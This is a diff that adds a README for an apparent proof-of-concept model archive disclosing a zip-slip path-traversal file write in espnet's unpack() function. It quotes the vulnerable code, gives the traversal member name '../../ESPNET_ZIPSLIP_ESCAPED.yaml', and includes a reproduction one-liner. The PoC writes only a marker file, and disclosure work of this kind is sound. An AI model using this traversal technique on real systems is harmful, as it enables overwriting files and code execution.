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README.md ADDED
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+ ---
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+ license: apache-2.0
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+ tags:
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+ - security
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+ - proof-of-concept
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+ - path-traversal
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+ ---
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+
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+ # espnet `unpack()` zip-slip / path-traversal arbitrary file write (PoC model)
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+
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+ This repository contains a **benign** proof-of-concept model archive that
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+ demonstrates a path-traversal / zip-slip arbitrary **file write** in
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+ [espnet](https://github.com/espnet/espnet).
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+
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+ - Affected code: `espnet2/main_funcs/pack_funcs.py`, function `unpack()`
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+ (commit `85ac06a1f773ab842169d73e8805801d61a4a738`).
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+ - Reached by the public model-loading path
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+ `espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...)` →
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+ `unpack_local_file(...)` → `pack_funcs.unpack(archive, cachedir)`.
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+
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+ ## Root cause
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+
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+ When espnet unpacks a model archive, every member whose name is listed in the
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+ archive's `meta.yaml` `yaml_files` is written with a **manually joined path**:
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+
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+ ```python
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+ fname = archive.get_name_from_info(info) # attacker-controlled member name
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+ outname = outpath / fname # no basename / no containment check
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+ outname.parent.mkdir(parents=True, exist_ok=True)
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+ with outname.open("w") as f: # writes OUTSIDE outpath if fname has ../
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+ yaml.safe_dump(d, f)
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+ ```
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+
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+ The member name is never sanitised, so a name such as
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+ `../../ESPNET_ZIPSLIP_ESCAPED.yaml` escapes the intended extraction directory.
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+ Because the write uses a manual join + `open("w")` (not `ZipFile.extract`), this
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+ escape works even for plain `.zip` archives, bypassing zipfile's own `..`
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+ protection. The non-yaml branch (`archive.extract(...)`) additionally enables
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+ classic tar-slip for `.tar`/`.tgz` archives. An attacker who publishes a model
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+ can therefore drop files at arbitrary filesystem locations (e.g. overwrite a
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+ startup script or config), leading to potential code execution.
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+
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+ ## Contents
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+
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+ - `espnet_zipslip_poc.zip` — a minimal malicious espnet model archive. It
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+ contains `meta.yaml` and one member literally named
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+ `../../ESPNET_ZIPSLIP_ESCAPED.yaml`.
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+
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+ **benign PoC — writes a marker only:** the escaping member writes a harmless
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+ YAML marker (`marker: ESPNET_ZIPSLIP_ESCAPED`); it performs no destructive
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+ action.
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+
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+ ## Reproduce
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+
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+ ```bash
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+ pip install espnet
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+ python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
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+ d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
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+ (o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
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+ unpack(str(o/'model.zip'), str(o)); \
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+ print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"
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+ ```
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+
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+ Expected output ends with:
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+
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+ ```
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+ ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: True
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+ ```
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+
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+ The file `ESPNET_ZIPSLIP_ESCAPED.yaml` appears **two directories above** the
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+ extraction directory, proving the traversal.
espnet_zipslip_poc.zip ADDED
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+ version https://git-lfs.github.com/spec/v1
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+ oid sha256:5acb51c03cdefa4f09a3364429e47275532ef1b4f5546b0bdb97195ca523d936
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+ size 360